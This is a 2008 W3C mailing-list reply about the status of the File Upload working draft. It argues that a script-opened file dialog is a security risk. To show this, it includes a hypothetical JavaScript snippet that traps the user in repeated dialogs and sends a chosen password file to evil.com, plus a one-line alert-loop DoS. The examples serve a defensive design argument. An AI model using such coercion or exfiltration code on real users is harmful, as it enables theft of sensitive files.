- From: Jonas Sicking <jonas@sicking.cc>
- Date: Fri, 08 Aug 2008 02:56:09 -0700
- To: Garrett Smith <dhtmlkitchen@gmail.com>
- Cc: Web Applications Working Group WG <public-webapps@w3.org>
Garrett Smith wrote:
> The File object is useful for uploading files via XHR. It provides
> functionality for data to be retrieved from a file submitted to a
> formusing the input type "file".
>
> It is currently a Working Draft:
> http://www.w3.org/TR/file-upload/
> http://dev.w3.org/2006/webapi/FileUpload/publish/FileUpload.html
>
> Implemented differently in Firefox 3.
> http://developer.mozilla.org/en/docs/nsIDOMFile
> https://bugzilla.mozilla.org/show_bug.cgi?id=371432
>
> An example in Firefox 3:
> http://dhtmlkitchen.com/ape/example/form/Form.html
>
> It is a useful feature for in-page file upload, without resorting
> toIFRAME hackery.
>
> What is the status of File Upload?
>
> Firefox 3's implementation is different than the w3c working draft.The
> spec author seems to have abandoned that, so now there's a working
> draft which seems to be collecting dust for a couple of years.
>
> What is going on with File Upload specification? It would be a useful
> feature, but with only a half-legged attempt at a spec that the author
> abandoned, and a different implementation in Firefox 3, other browsers
> probably won't implement this functionality any time soon. It's useful
> in Firefox 3, and would be even better if there were some mime-type
> sniffing (mediaType).
>
> There seems to be a need for failing test cases,, so implementations
> can fill in the "???"'s. Any other suggestions for getting this thing
> done?
The spec only really supplies one feature over what Firefox 3 has: The
ability to open a file dialog strictly from Javascript without any UI
objects involved.
I'm not sure if this is a super desirable feature from a security point
of view. Technically speaking a site could take a users browser hostage
unless the user agrees to give up a sensitive file:
function checkForFile(e) {
if (!e || !fileIsPasswordFile(e.fileList[0])) {
alert("Give me your passw0rd file!");
var fd = new FileDialog();
fd.addEventListenerNS(
"http://www.w3.org/ns/fs-event#", "files-selected", checkForFile,
false);
fd.open();
}
else {
xhr = new XMLHttpRequest();
xhr.open("GET", "http://evil.com/passwordsaver.cgi", false);
xhr.send(e.fileList[0]);
}
}
checkForFile();
Granted, there are certainly many ways to DoS a browser already
(while(1) alert('ha');) but the above is somewhat more sinister.
/ Jonas
Received on Friday, 8 August 2008 09:57:44 UTC